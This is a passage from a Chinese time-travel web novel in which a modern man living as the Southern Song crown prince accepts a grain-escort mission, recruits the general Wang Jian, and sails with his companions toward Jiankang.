宁宗闻言,知道事情恐怕不简单,便谦恭得询问史弥远道“:史爱卿,乔爱卿所言不虚?“
史弥远抖了抖身上肥肉,站出位来,面色平静的说道“:圣上,确有此事,但也并非全如乔大人所言,李总管向来忠于国事,这淮东又属多事之地。近来官员调动,军中无首,为了防止金蒙犯境,下官便将这帐前忠义军暂且交给李总管打理了。“
宁宗听了史弥远解释,转忧为喜。笑着对乔行简说道“:乔侍郎,既然史相另有安排。这件事就这样算了吧。毕竟这李全之前有大功于我大宋。”
乔行简眼见宁宗都发话了,知道自己再说下去也是对牛弹琴。所幸眼睛一闭,站回了班位。
宁宗看乔行简无事了,便又微笑着说道“:众位可还有事?”
“:圣上,臣有本奏。”话音响起,宋宇循着声音看去,原来是余天锡。
宋宇暗道:此人因为巴结史弥远,得到户部尚书高位。户部可是掌管着粮草调度。看来对方要提那件事了。数月了,终于等到了这一天。是福是祸,看来自己都要走上一遭了。
在宁宗示意下,余天锡双手持圭,面无表情得说道“:圣上,前日京湖制置使史嵩之奏报,由于战争,荆襄之地粮草匮乏,须急运一批粮草救济。现今粮草已然备齐,只是选何人押送,还需圣上定夺。”
宁宗听报,犹豫了片刻,转身询问史弥远道“:史相,你可有合适人选?”
史弥远皱眉寻思了片刻,一脸无奈的回答道“:现下长江之上匪患丛生,押运粮草可谓是任重道远,稍有差池,悔之晚矣。现今荆襄在与金人混战,这朝中能派出去的可靠人选,早已派了出去。臣也寻思不得这合适人选。还请圣上见谅。”言毕,史弥远一脸难色的看着宁宗。
宁宗得了史弥远回答,也是眉头紧皱“:哎呀,想不到此事还真有些麻烦。”
言罢,又转头看了看满朝文武“;诸位爱卿可有贤才举荐,完成此重任?”
满朝文武闻言,立马窃窃私语起来。许久才有一道弱弱的声音响起“;圣上,臣举荐当朝太子殿下。殿下素来晓兵法,通将略。臣以为定然能担此重任。”
宋宇听完这人言语,一脸惊异的冲说话之人看去:麻蛋,知音啊。我就这点优点全基波被你说中了。
开口之人乃是监察御史李之孝,但见他话音刚落,周围群臣立马止住了议论。
看清了风向标的他们,纷纷站出来附和。夸赞宋宇之声不绝于耳。
“:殿下天人之表,龙凤之资。这任务,非殿下莫属。”
“:早听闻殿下降生之时,天有异象,紫气东来,满屋七色彩霞环绕。接生之人曾大呼,殿下将来必是英雄豪杰之属。”
“:早听闻殿下三岁习武,五岁作诗,七岁御马,八岁箭无虚发,时至今日,殿下早已身怀绝技,只待为国效力的一天。”
“:机会是给有准备的人的,殿下打出娘胎就开始准备,这种殊荣,也只有殿下配拥有。”
一时间宋宇的人气大涨。宋宇不禁暗道:这么多人看好自己,要是刷个大火箭就更好了。
话说为了不让这满朝文武对自己的期待与信任落空,自己还真就得好好表演一番。
如此想着,宋宇强挤出几滴眼泪,站了出来“:承蒙诸位大人厚爱,知我者,诸君是也。本太子这里谢过了。唉!想不到本太子竟有如此童年,三岁习武?打出娘胎就开始准备。这些话太棒了。这些词你们是怎么把他们组合到一起,又毫不违和面不改色的说了出来?你们把本太子夸得这么优秀,本太子都不好意思了。你们瞅瞅,本太子这脸,红的发烫。”
言罢,宋宇摸了摸臊的通红的脸,随即左右转身,对着满朝文武拱了拱手。以示谢意。
满朝文武看着宋宇那红着脸致谢的模样,有些是掩面偷笑,有的则是投过来同情的目光。还有的甚至站在原地直摇头。
宋宇看到周围众人那一个个花样百出的得表情,也懒的搭理他们。跪将在地,一脸严肃的对着宁宗说道“:父皇,皇儿愿为国出力,走这一遭。还请父皇恩准。”
果如余阶那日所言,宁宗皇帝也是巴不得宋宇赶紧离开临安这个是非之地,以缓解两个派系之间的矛盾。
此时宁宗看着宋宇跪在地上一脸诚恳的样子,很是感动,颤巍巍的说道“;皇儿能有此心,朕心甚慰。快快请起,朕封你为京湖巡检使。奉命押运粮草,以解荆襄之急。”
宋宇听到宁宗所封,心中一喜:这便宜皇帝老爹还真下本,小小一个运粮的差事,愣给自己来个巡检使。要知这巡检使可大可小。
在这临安朝廷里屁用没有,但到了荆襄之地,岂不是我最大?
想到此,宋宇兴高采烈的赶紧给宁总谢恩“:皇儿谢过父皇。此行定不负父皇重望。“
谢恩后,宋宇开心的站回了原位,听着一帮子‘国之干城’继续逛菜市场似的,争论些没营养的话题。
也不知过了多久
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,这朝会总算结束,本来宁宗还要留宋宇吃饭,但宋宇着急回家和众位兄弟打点西行之事,便婉言谢绝了宁宗。宁宗被拒绝倒也没生气,对着宋宇不住叮嘱“:皇儿,荆襄之地,山高路远水长,又快入秋了,天气冷,需要多备些衣物,以免着凉。出了这临安,可要时时小心提防,切莫轻信于人。多带些府中得力护卫,若是府中无有好手,你可持父皇给你的令牌,前去殿前司挑选。切记,没有父皇保护你,凡事莫要强出头,走个过程,回来也好让朝中大臣高看我赵家太子一眼。杀一杀他们的威风。“
宋宇看着眼前宁宗像个婆娘似的唠叨,心中顿觉有些不自然:可怜天下父母心,这皇帝爹,跟老百姓的爹,也没什么不同啊。
话说像这样的情景,宋宇前世没有体会过。这一世,却从宁宗这里得到了。
在说了无数次的皇儿谨遵父皇命后,宋宇总算告别成功。
取了马,一路疾驰。不多时便回到了府中。府中那些个没事干的兄弟早已在门口等候。宋宇也不絮叨,直接带着众人来到了前厅。待都落座后,余阶率先开口了“:殿下,朝堂上可有什么稀罕事?“
“:咱们等的那件事,开始了。”
“:那可真如小弟所言,没有受到任何阻挠?包括皇帝?”
宋宇看余阶那急不可待的模样,白了他一眼“:与兄弟所言丝毫不差,满朝文武皆是众口一词,推脱不得。现在钱塘江口水营早已装好了粮草,只待我等明日前去。“
“:明日便去?“余阶有些吃惊的说道。
“:嗯,可不是吗,本来还想再享两天清福。哪知这史弥远如此猴急。一直在朝堂上大呼十万火急,催促着快些动身。好像恨不得自己快点上船然后掉江里淹死他好宽心。“宋宇砸吧砸吧嘴说道。
“:殿下,是福是祸,尚不可知,这史弥远在临安都奈何不得咱们,想必此行也是有惊无险。不过小弟有句话不知当说不当说?“
“:余老幺,你那点心思本殿下岂能看不出来?你是说小小姑娘吧?“
哪知话音刚落,一道温柔的声音响起“:殿下,找奴家何事?”
话音刚落,只见小小身着平日练习火铳时穿的软皮甲,一脸笑意,走进了前厅。
向周围众人一一作揖后,两只明亮的大眼睛一眨一眨的盯着宋宇看。与宋宇初见时得妖娆妩媚打扮相比,小小似乎是在刻意把自己打扮的像个士兵。
别说,这招还真管用。府内众人对小小这种穿着十分看好。无形中将关系增进了不少。
看着小小那英姿飒爽的模样,宋宇偷偷在心里给她点了个赞:这姑娘真是洞悉人性,百变穿搭。
遇到前太子喜好美色,什么透视装,什么跳舞唱曲扭屁股,全都可劲儿上。可现在自己转性,这姑娘又不失事宜的快速适应改变。话说这一身戎装穿在身,真是让人不由想到梁红玉。
“:小小,来此作甚?”
“:听闻殿下要出远门,小小斗胆**随行。”
第四十一回 府内安顿好 启程赴水营
面对小小的请求,宋宇几乎不加思索地连连摇头“:小小,此行乃是公务,随行皆是一帮男儿兵丁,你一个女孩家,若是同行,岂不让人耻笑于我?”
本以为小小会知难而退,哪知这丫头将手中火铳举起“:殿下不是时常夸赞小小,铳法精准吗?更别提,那些个兵丁武夫,岂会照顾人?为了殿下一日三餐着想,还请殿下恩准,让小小跟随,好给殿下洗衣做饭。”语毕,小小跪在地上,只待宋宇答应。
看到这丫头不依不饶的钻空子,宋宇很是无奈,但仔细想想,自己若是不让她跟随,这丫可是接了史弥远任务的,肯定换着花样恳求自己。到时候,少不得又出什么幺蛾子。
想到此,宋宇一脸严肃的答道“;既如此,那你便同去吧。不过这一路可是辛苦的很,更别提有什么危险了。你可要想清楚了。”
剩下那句,纯粹就是没营养的废话,人家接的是史弥远的任务,危险不危险的,有任务失败危险?
只见小小听到宋宇答应,欢快的领了声喏,连蹦带跳得小跑了出去。小小前脚刚走,余阶便满脸疑惑问道“;殿下,这?”
宋宇冲他一摆手“:虽然不知道这丫头葫芦里卖的什么药,不过咱们这么多人,还怕她一个弱女子?”
余阶听宋宇如此说,也不想再继续追问下去,便调转话题说道“:殿下,只是不知这西行人员如何安排?还请殿下明示。”
宋宇低头略一思索,随即正色说道“:刘克庄与杨辉兄弟此次便在府中张罗府内日常之事,陈达兄弟同样走不开,这三人便排除在外了。至于华岳华兄弟,数月养伤,不知道方便不方便?”
“:小弟想要坐镇临安,一来帮助殿下训练招募的渔民,二来广布眼线,盯住史弥远,以防万一。”
“:那临安这边,便交给华兄弟你们四人了。”
“:我等谨遵殿下令。”
安排完这四人,宋宇继续说道“:余阶,程保,赵国,听令。”
三人立马站出位来,大声领诺。
“:此次西去,便由你三人随行,现下余兄弟先去钱塘水营等候,仔细查验粮草,以及营内将士背景等一干事宜,勿要缺少和混入太多史弥远的人。对于嫌疑大的,指挥使一个级别的,就不要让他上船了。至于程保并赵国且留在府中,挑选精壮侍卫五人,明日随本殿下前去与余兄弟会和。”
三人齐声“:喏。”
言毕,程保赵国先行一步,去挑选侍卫了。
余阶向宋宇辞了行,也走了出去,在后院马厩挑了一匹快马,奔钱塘江口而去。
等到一切吩咐妥当,宋宇对着其余众人摆了摆手。吩咐众人散了。吃过晚饭,早早便睡下了。
一夜无话,第二天早上天刚蒙蒙亮,宋宇早早起来收拾好出行必备的用品,又与众位兄弟一一告了别,便吩咐府中侍卫备了马车,奔城外而去。
适逢昨夜下了雨,道路坑洼不平,马车走在路上便耽误了不少功夫。待赶到水营时,已近晌午。
宋宇下了马车,远眺水营,便见水营扎在江岸边上,营寨颇为简陋,几乎全由木材搭建。江中停靠着大大小小数十艘船只。看样子这些船只就是运送粮草的。
水营门前,整齐的站着一队身着铠甲的军士,旌旗招展,煞是威武。还有鼓乐手打着鼓点,吹着号角欢迎。
宋宇整了整衣衫,领着小小和程保两人来到军营门前。
余阶率先走上近前禀报“:殿下,小弟昨夜细细考察了这座军营以及士兵花名册等一干事宜。有嫌疑的,都留在了军营之内,剩下这些,已经安排好了之后行船的职务,这些将士背景简单,应当不是史弥远一众。故而安排了一些来迎接殿下。”
宋宇对着余阶肯定的点了点头“:余兄弟辛苦了。”
“:万死难报殿下知遇之恩。”
余阶对着宋宇抱拳行礼“:殿下请随小弟来。”
说着,将宋宇领到了士兵们面前。
众军士立马跪下,更有一身着将军铠甲之人,大声喊道“:澉浦水营统制李浩并水营诸将兵,叩见太子殿下。”
宋宇打眼看了看身前跪着的一众兵丁,也没瞧出什么英气勃发之人。便抬手示意道“:有劳诸位远迎,且站起身来。”言毕,将李浩搀了起来。在余阶带领下,向着主帅帐篷走去。
待所有人落座后,宋宇才缓缓说道“:本殿下奉父皇旨意,督粮荆襄。不知统制李将军可将一切备好?”
李浩不敢怠慢,慌忙站起身答道“:殿下,粮草早在数日前便给殿下装到了船上。只待殿下亲察起运。”
宋宇不由苦笑:这史弥远是真沉得住气啊,为了防止自己有时间推脱任务,几天前就装好船的货物,直到出发前一天才在朝堂上宣布。这是压根不给自己找借口推脱的时间啊。
如此想着,宋宇将目光看向余阶“:余兄弟,这粮草你可详细查验了?”
余阶同样站起身说道“:回殿下,小弟已查验清楚,丝毫不差。”
再问余阶一遍,无非走个过场。对于余阶办事,宋宇那是一百个放心,一则毕竟余阶是自己兄弟,历史上又是有名的忧国忧民得主儿。
二则,你要让余阶这样的人,做些个违背道义的事,出卖自己,或者危害国家,还不如干脆一剑杀了他来的痛快。
和余阶性格相反的,就是史弥远那样的人。道义在他心里,也就是说来听听,你把差事交给他,等最后差事办完,绝对后患无穷。
有时候自己不禁茫然,我们这些老祖宗这些传承了几千年不曾中断过的东西。真的一无是处吗?
“:既然如此,今日便出发吧。现在营中诸位副将可否报下姓名?本殿下也好和各位粗浅认识一下。”
营内诸将见说,一一站起身来“:小将张帆,小将谢雄,小将王坚,小将侯飞。”报完姓名之后,都目不转睛的盯着宋宇等待吩咐。
此时的宋宇心中却早已乐开了花,仔细打量起那位名叫王坚的小将军
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,只见此人长相平平,眉宽唇厚。皮肤黝黑。个子不高,估计也就一米六五左右。
但却长得颇为结实,不过单从外貌整体来看,王坚若是没穿将军甲,扔人堆里,泯然众人。若是宋宇没问姓名。肯定不会关注此人。只见宋宇激动的盯着王坚说道“:你,叫王坚?”
小将不好意思的抓了抓帽盔,虽然疑惑这太子殿下为何单单询问自己?但还是老实的答道“:回殿下,小将确是王坚。”
宋宇开心的心跳加速:瞧我这运气,出门遇贵人啊。这王坚可是员猛将啊,蒙宋之间著名的钓鱼城之战,便是此人指挥。
可以说是继孟珙余阶之后,再次让南宋苟延残喘数十年的另一猛将。开庆元年,正是在王坚的指挥下,钓鱼城军民用岳飞当年改进过的抛石器,一举重伤蒙哥,使得蒙古一时群龙无首,蒙古兵不得不停止了对南宋的进攻,北上回蒙争取汗位去了。
此时宋末四大名将之中,加上这王坚,我已得其二。只剩最后两个啦,有了余阶加王坚,这次运粮岂不是双保险?
想到此,宋宇一脸欢喜的说道“:王将军,此次运粮,都是江上行船,本殿下对行船水战知之甚少,不知将军?”
“:小将本就是水营将领,对水战十分熟稔。”
“:极好极好,将军,这几日麻烦你教导教导我这个门外汉了。”
“:小将惶恐,必倾囊而授。”
“:那将军便和本殿下同坐一条船,这样请教起来方便。还请你寸步不离跟在本殿下身边。”
宋宇一席话说完,就像饿极了的灾民,盯着眼前的白面馒头傻呵呵的笑。
王坚看着吃错药似的傻笑的宋宇,一脸的迷惘,但人家是太子,还真就被看了个没脾气,忙抱拳对着宋宇领了声喏。
“;至于船上水手,兵士,也由王将军一并挑选了。“宋宇再次补充道。
王坚不敢怠慢,再次领喏,小跑着去挑人了。
一旁的营内***统制李浩,看到宋宇如此看重王坚,有些吃醋,忙笑盈盈对着宋宇说道“:殿下,俗话说嘴上没**,办事不牢,这王副将新来我营中时日不长,卑职也不知其的本事如何,殿下何不在挑两人?也好有个保障不是?”
宋宇知道这李浩吃了王坚的醋,为了避免他生出什么事端,只好安抚他道“:本殿下不过是想找个熟悉水站之人学习这水战经验,而李将军你,才是这次的主帅。身上责任重大,本殿下可不敢耽误你的时间。”
李浩听完宋宇解释,幡然醒悟“:卑职惶恐,殿下,这次的任务,包在卑职身上,卑职必不负殿下重托。”
宋宇会意一笑,随即袍袖一甩,对着余阶等人说了声”;走,登船。“
一旁众人闻得太子令,都紧紧跟随在了宋宇身后。不多时便来到了钱塘江边。
看着停靠在岸边随着水流上下起伏的古船。宋宇是真开了眼了。硕大的运粮船上已经站满了士兵,船上旌旗被招展,戒备森严。
第四十二回 谈海外诸国 说塞北强掳
运粮船周围则围满了一圈战船,上面装备着海战用的霹雳炮等重型武器,船舷上同样站满了士兵。一个个背上背着**,手上持着各种长兵。远战近战兼具。
看完了战船,宋宇转头向旁边李浩询问道“;李将军,此次出行须战船几艘?“
李浩闻言,向前走了两步,拱手答道“:回殿下,此次共有粮船十五艘,每船装运粮草约六千五百担。共装粮约十万旦。另有战船十艘随行。安全方面还请殿下放心。”
宋宇暗自在心里盘算起来,一担粮食约合五十公斤,十万旦粮食便是五万吨。那便是说这大宋的海船每船可装三百余吨货物。我的乖乖,这水运相比陆运,优势还真是明显啊。
“:殿下,所有士兵已经悉数登船,还请殿下移步登船。”
宋宇点点头,边走边和身边的余阶聊天“:余兄弟,可识得水战?”
余阶被问,有些不好意思的说道“:小弟不知。”
余阶的回答也在宋宇意料之中,只听宋宇继续说道“:那兄弟可识得这海外都有何国?”
余阶皱眉寻思片刻,随即答道“;小弟只识得周边高丽安南两国。至于其他,小弟确实不知。”
王坚却在此刻插嘴“:殿下,小将倒知道一些。”
“:哦?说来听听。”
“:咱们面前这条江,乃是钱塘江,出了这钱塘江口,向北向东便是千里海疆,往南走,则是**石塘。在这千里海疆之上,有两座岛屿,较大的一座岛屿名为东瀛,乃是当年徐福东渡后,与那岛上各族杂交的后代。向来崇慕我华夏文化。但其的文化早已过时,建筑服饰风俗还都是沿用隋唐时期所传过去的。而这较小一座岛屿,名为流球。此岛尚无国家,只是零散的分布着较少汉人和土著。但此岛气候适宜。稍加开发,定然能养活不少人口。至于**石塘,除了安南,更有一小岛名唤流球,岛上有不少我大宋沿海百姓因生计艰难,偷渡过去,又因与本地各部落蛮族杂居,时常发生冲突。”
宋宇听了王坚的讲述,肯定的点了点头“:王将军果然博闻。”
王坚不好意思的挠了挠头盔“:家父是商船上的水手,每次跑船归来,都要讲些海外趣闻。”
言者无心,听者有意,一向机灵的余阶不禁问宋宇“:殿下对海外诸国有兴趣,不会是有什么想法吧?”
“:天下之大,海洋之广,正逢我大宋人口众多,土地越发捉襟见肘。况且,现今咱大宋的商船数量,可以说是独步天下。与海洋之国往来运输交流频繁。要是载些失去土地的百姓去海外谋取一条生路,既能缓解土地紧张,又能开枝散叶,岂不两全其美?”
“:殿下想法很好,可做起来恐怕困难重重。”
“:哦?有说法?”
“:最底层百姓,往往被底层士绅以契约的形势牢牢困在土地上。有些士绅发展的大了,成了世家,甚至能步入朝堂,影响我大宋朝局,史弥远之所以能做大,背后少不了这些世家大族,官宦望族在背后推波助澜。”
宋宇恍然大悟:原来,我大宋的钱,权,人,都在史弥远和其背后的利益集团手中。这还真是个麻烦事。
“:除了迁移百姓,其实就我大宋现在的造船水平,开辟些更远的航路,应该轻而易举。只要商船走得更远,便须在这海路之上多开发些补给之地。”
宋宇说到这,拉着余阶指着战船船首霹雳炮说道“;但若想走远,光凭这些个无甚伤害得老旧战船,实是不妥。以后若能操持朝政,定然要让这些战船变他一变。到时巡航海外,护我海上商路。还怕咱大宋没钱?”
余阶认认真真的听着宋宇滔滔不绝的讲述海外重要性“:殿下所想,阶闻所未闻,但殿下想法若是达成,想必会恩泽万代。使我大宋脱胎换骨啊!”
宋宇听后哈哈大笑“:不是本殿下想法好,实是我炎黄子孙争气,就这运粮船,都能造的如此之大。想必那些跨海经商的商船,更是不遑多让。”
说到此,宋宇忽又有些失落。似是自言自语的说道“:但若是咱大宋这最后的一亩三分地也没了,想法再好,也是镜中花,水中月啊!”
余阶看着一会高兴一会失落的宋宇,不知道大宋会亡的他,自是不能体会。
不过宋宇对大宋未来的悲观却也触动到了余阶那敏感的神经“:殿下,前路就算是刀山火海,小弟也会陪您走下去。”
宋宇叹了口气“:我所忧虑的倒并非史弥远之众。实是塞北强虏。现今蒙古已攻灭西域强国花剌子模。掠夺财富人口无数。版图更是我大宋的数倍。在北方,曾经骄横的金人已被迫迁都汴梁,凭借黄河苟延残喘而已。若是我等再不努力,只怕灭国之日不远矣。”
宋宇的话,将眼前的余阶说的陷入了沉思,良久才开口说道“;殿下,这蒙古崛起不过十数年而已,小弟一直忧虑的乃是金人。今日听完殿下所说,这蒙古实力竟如此强悍?”
宋宇一脸严肃的说道“:何止强悍,简直恐怖。蒙古人尚未从荒蛮之中走出,残忍成性,所攻城市,并为焦土。曾经显赫一时的花剌子模,被攻灭后,两千余万人**。与灭族无异。仅攻灭撒马尔干一城,便杀的只余百人。其凶残可见一斑。若是这蒙古灭了金国,到时恐怕只会更惨。这女**可不比当年了。当年那支女真不过万,过万天下无敌的劲旅,早已消失。摇身一变成了役使汉人耕作的地主。你让他们去抵挡蒙古人,他们舍得那金汤银勺,满屋妻妾吗?这样一支队伍,与纸糊的又有何异?我看这金人啊,外强中干,灭亡是迟早之事。虽说在咱炎黄子孙这块土地上,自古王朝兴衰本是常事。五胡乱国之时咱炎黄子孙不也挺过来了?当然这不得不感谢那个叫冉闵
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的,史书骂了上千年的悲剧英雄。是他让五胡知道,炎黄子孙不光能当羊吃,还能发布灭胡令这种东西。如今形式,与那时虽有些相似,但又大不相同。那时的五胡人数居少,且大数都崇慕华夏文化。而此时的蒙古幅员**,骑兵数十万。更兼一批久经征战的蒙古将领统御。这样一个国家,民族自尊心极强,岂会完全融入别族文化?”
余阶鼻子抽了抽“;殿下何必长他人志气,灭自己威风?自古这北人骑兵虽善野战,但却不长于攻城。到时殿下掌权,可于边塞险要处建城屯兵屯粮。自古攻城一方,向来便是以十换一。如此耗他个十年八载。任他百万骑兵,又有何用武之地?”
宋宇听到余阶这一席话,陷入了沉默:乖乖,这不就是余阶守四川时施行得山城防御战略吗?想不到我一席话,竟然让这个战略提前二十余年从他嘴里说了出来。
想到这里,宋宇干脆清了清嗓子,继续点拨余阶道“:余兄弟可知前任荆襄制置使赵方?”
余阶听宋宇话题一转,有些反应不过来,思虑了片刻说道“:莫不是数度破金那人?”
宋宇一听余阶知道,也不想再卖官司,笑着对余阶说道“;这赵方破金,用的乃是兵民合一之道。”
余阶听的云里雾里,眨着眼睛问道“:殿下,何为兵民合一?”
宋宇哈哈一笑“:便是发给百姓武器,平时训练耕种。金人来时,悉数上阵,所以他对金人,胜多败少”
余阶恍然大悟“:殿下是想他日掌权后,大范围运用此法?”
宋宇看余阶醒悟,拍了拍她肩膀,却又摇头说道“:这种方法,只能有德者用之,若是无德如史弥远,恐怕老百姓拿起武器的第一时间,是先杀了他史弥远。”
余阶不好意思的摇了摇头“:看殿下说的极是。若这些个百姓到时得了武器,不杀敌,反倒杀起我等,岂不自讨苦吃?”
宋宇忍不住笑了出来“:哈哈哈...余老幺,你对自己的道德水平这么没信心?”
“:这,...小弟倒是有信心操守君子礼仪,只怕百姓不买单啊。”
“:向来百姓反叛,无非为的是杀贪官,灭土豪。你我二人既非贪鄙之人,又非富裕欺弱之人,何惧之有?”
余阶砸吧砸吧嘴,还想说话,却听得甲板之处传来‘垮垮垮’得,整齐步伐之声。寻声看去,便见一众兵丁迈着整齐的步伐,向自己两人走来。
待走到近处时,王坚指着这些士兵对着宋宇说道“:殿下,这些士兵都是经过小将挑选,专门保护殿下安全的。还请殿下查验。”
“;王将军,我与旁边这位余兄弟皆不识水战,此次运粮便有劳你指挥了。”
王坚显然有些受宠若惊,刚想跪下行礼。却被宋宇一把扶住“:哪来那么多礼数,今后王将军若是赏脸,便和我兄弟相称如何?”
第四十三回 行船碧波上 等待的煎熬
王坚听了宋宇的话,浑身不禁一抖,赶忙推辞到“:小将何德何能,怎敢与太子殿下兄弟相称?还请殿下收回成命。”
宋宇见王坚连连推辞,笑着说道“:想不到王坚兄弟外表看着豪爽,内在却如此拘谨?怎的,瞧不起我赵竑?”
王坚差点没被宋宇这句话吓得跪在当场,只听他磕磕巴巴的说道“:小将岂敢?小将,小将是怕乱了礼数。”
宋宇看王坚磕磕巴巴把的样,知道此人是个开不起玩笑的主,笑着拍了拍王坚的肩膀“:礼数都是给那些个文人雅士用的,王兄弟又何必在意这些?从此以后你便是我赵竑的兄弟。至于称谓,随你如何称呼,但我定然管你叫王兄弟。”
王坚还想推辞,一旁余阶一句话直把他劝服了“:殿下兄弟又非你一人,官阶不如你的,更是大有人在,王兄弟又何必在意这些?”
王坚看一旁满脸笑意的余阶也称自己为兄弟,心中顿时了然,随之而来得,便是对身前这位太子充满了好奇。
但好奇归好奇,王坚也并非是个不通晓事理之人,只见他双手一拱,对着宋宇感激的说道“:多谢殿下厚爱。”
却在这时,远处李浩主船上传来喊叫之声“:起锚开船!”
宋宇看向了王坚“:王兄弟,咱也别在此耽搁了。启程吧。”
王坚听到宋宇吩咐,立马转过身去对身后兵士吩咐道“:殿下有令,起锚开船。”
身后兵士听了吩咐,便分头跑到了船首船尾,扯着嗓子喊起来“:起锚开船...”
一时江面上吆喝之声此起彼伏。
待吆喝声渐渐消失之后,停泊在这水营江面上的船只次第缓缓移动起来。
王坚则从容不迫的立于船首,不断地向身后军士下令。军士得令后又是一通吆喝。
就这样约么过了半个来点,这江面上的船只在李浩的指挥下摆好了阵型,粮船居中,战船分列四方。向着钱塘江外千里海疆驶去。
宋宇看着从容不迫指挥的王坚,心中一百个满意,但从后世而来的他,对这吆喝之法实在是看不下去,便走上前去对着王坚说道“:王兄弟,本殿下虽不懂水战,但却对这吆喝之法,实是不以为然。平素指挥还好,若遇大风大浪,声音无法传递。岂不船队大乱?”
“:除了喊叫,还有擂鼓敲锣。”
“:实在不方便。若遇大风大浪,或是水战,鼓声锣声还是容易失效。”
王坚神色古怪的看着宋宇,疑惑的问道“:殿下莫非知晓更加便宜之法?”
说实话,在王坚看来,这长在皇家的大少爷,不添乱就不错了,更不要提什么献计献策了。
哪知宋宇接下来的一番话,立马让王坚的心思来了个三百六十度大转弯。
只见宋宇一脸认真的答道“:我确实知晓一法,用起来也极为容易。王兄弟可扯些颜色鲜艳的旗帜,再在船上挑选些机敏视力好的士兵,设置一套旗语,令这些士兵熟识。以后这船上便由旗语传递信息,可否?”
宋宇一席话直直接说到了王坚的心坎里。许久,王坚才回过味来,也不再理会宋宇等人,立马领着身后一帮兵士向船舱内走去,边走边说道“:你等速速找些颜色鲜艳的布条来,做成旗帜。”
宋宇看到这王坚一连串的反应,倒也没怪罪他不告而别失了礼数。
却听旁边余阶对着程保说道“;程兄弟,我向来以为若论性急,天下恐怕没人能赛得过你程保兄弟你的,哪知今日见了王坚兄弟,阶才知道,这就叫天外有天,人外有人啊。哈哈哈!”
一直站在宋宇身后的程保听到余阶调侃自己,白了余阶一眼“:余老幺,凭般没事又拿我说笑。那夜你不也是没看清院内几队人马,便心急冲了上去?最后还是刘大哥帮你化解了危机。”语毕,程保一脸得意的看着余阶。
余阶被人揭了短,老脸一红,立马解释道“:那晚确实是个误会,我当时看清了两队人,本想先解决人多的,到时候另一队人数较少,还不手到擒来?哪知碰上两个高手,被纠缠住。害我陷入了苦战!”
宋宇看这俩人耍嘴皮子,心中好笑,忙不迭在旁边添油加醋“:幸好是两队,若是一队,岂不是没有银两赚了?”
众人听了宋宇所言,又想起那夜万昕等人跪在地上死皮赖脸要送钱的样子。止不住哈哈大笑。相拥着,向船舱内走去。只剩下小小一人傻傻的站在船头,也不知在想些什么,任凭江风吹打自己的衣衫。
两日后,宋宇等人正悠闲地坐在船舱内饮茶,忽见王坚火急火燎的闯了进来,登时把悠哉游哉的宋宇等人吓了一跳。
宋宇心里立马浮起一个不好的念头,心想,不会是史弥远杀来了吧?
要知道,宋宇等人心中可是想了无数种史弥远弄死自己的可能,首先一条,宋宇就觉得,这史弥远会在海上雇佣一帮海寇截杀自己。
哪知两日来一直平安无事。实是令宋宇等人疑惑不已。常言道,不是在等待中爆发,便是在等待中死去。
这等着别人来弄死自己的滋味,宋宇可谓是体会了个透彻。只见宋宇立马站起身来,对着莽莽撞撞的王坚说道“:莫非有贼人?”
王坚经过两日来和宋宇等人的相处,是越加喜欢他们这个温情小圈子,只见他没大没小的,拿起余阶面前那碗茶是一饮而尽。
直把面前的余阶弄得是满脸怒气“:唉!我说王兄弟,有事说事,这般**道?你要喝茶自己倒啊?我这碗可是好不容易等到温热可口的。”
王坚看到余阶生气,一点不以为意,理直气壮的说道“:余老幺,你一天到晚窝在船舱里,除了喝茶还能干点什么?兄弟我可是在外边忙东忙西累的跟条狗似的。”
言罢,一扭头,也不再搭理气的直冒白烟的余阶,对着宋宇一拱手说道“:殿下,小弟有两件事禀报。”
宋宇看着王
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坚一副自在的样子,知道自己又被这急性人坑了,有些不悦的说道“:有话且说完,莫要故弄玄虚吓唬人。”
王坚招牌性的挠了挠帽盔,看着宋宇一脸愠怒的模样,嬉皮笑脸地说道“:这其一,小弟所训练的旗语兵已经初具规模了,想必到了建康府,便能分派到每条船上。至于这其二,殿下,咱们明日晌午之前,便能抵达建康府。”
宋宇一听要到建康府了,脸上的怒气立马烟消云散,高兴的说道“:总算要到了。这几日在海上风浪太大,船体摇晃的厉害,是吃又吃不好,睡也睡不香,实是折磨人。到了这建康,我可要上岸好好转转,争取多踩两脚陆地。以弥补下这两天在海上的憋闷。”
余阶等人倒没怎么滴,反倒是一直在旁伺候茶水的小小,听完宋宇要上岸,两只水灵灵的大眼睛是直放光“:殿下,小小也要陪你去岸上逛一逛。”
宋宇看着一脸期待的小小,一脸的幸灾乐祸“;怎的?当初不让你来,你非要来,现在后悔了吧?”
小小被宋宇奚落,一点不以为意,反倒一脸得意的说道“;若是我不来,你们一帮汉子便自己煮茶,烧水,做饭,洗衣服吧。”
宋宇一听这个,顿时蔫了,心想这姑奶奶可得罪不起,赶忙道歉“:别,小小姑娘,我也是嘴欠,哪壶不开提哪壶,惹了你生气,不如这样吧,为了表示歉意,此次抵达健康后,小小姑娘的一切花销,便全都包在本殿下的身上了。”
这才露出笑容“;多谢殿下厚赏。”
一旁的余阶一看小**白得了便宜,也凑热闹道“;殿下,小弟这几日陪您喝茶喝得,都快喝成茶壶了,殿下你把小弟上岸的花销也包了吧?”
宋宇正在喝茶,被余阶这么一说,差点没憋不住笑喷,好不容易咽下茶水,转过头来鄙视得看着余阶说道“;拉倒吧,真把本殿下当冤大头了?人小小可是天天忙里忙外的,伺候咱这一群大老爷们,你说你在这船舱里躺的四平八稳,坐的悠哉游哉,就有功了?”
一旁的程保见余阶吃瘪,立马在旁落井下石“;就是就是,这余老幺是该好好治治了,嘴太欠了。”
王坚一看这阵势,也凑起了热闹道“;可不是吗,小弟忙里忙外了两天,刚才和他讨口茶还跟小弟甩脸色,都是自家兄弟,这么小心眼。殿下您给评评理。“
宋宇一看余阶是千夫所指,乐的前仰后合,历史上的大英雄啊,还有栽在自己面前的一天。好像余阶历史上也是处处被人挤兑。
顿时止不住哈哈大笑“;余老幺,让你多嘴,栽了吧?不过本殿下看在你陪喝茶的份上,从轻发落,此次建康之行,余兄弟便包了全部花销吧。“
余阶看着满仓之人都将矛头指向了自己,顿时后悔插嘴了。自言自语道“:自古英雄多薄命,小弟认栽。此次便随了你等之意。“
余阶话音未落,仓内已然是笑做了一团。
第四十四回 停靠建康城 逛街遇暴雨
在第二日晌午之前,宋宇等人的船队按时登上建康府,建康水营码头。
建康城,南宋比临安还要重要的城市,南宋行都,古语云,据建康而镇江南,拥天堑而抗北兵。足见建康地理位置之重要。
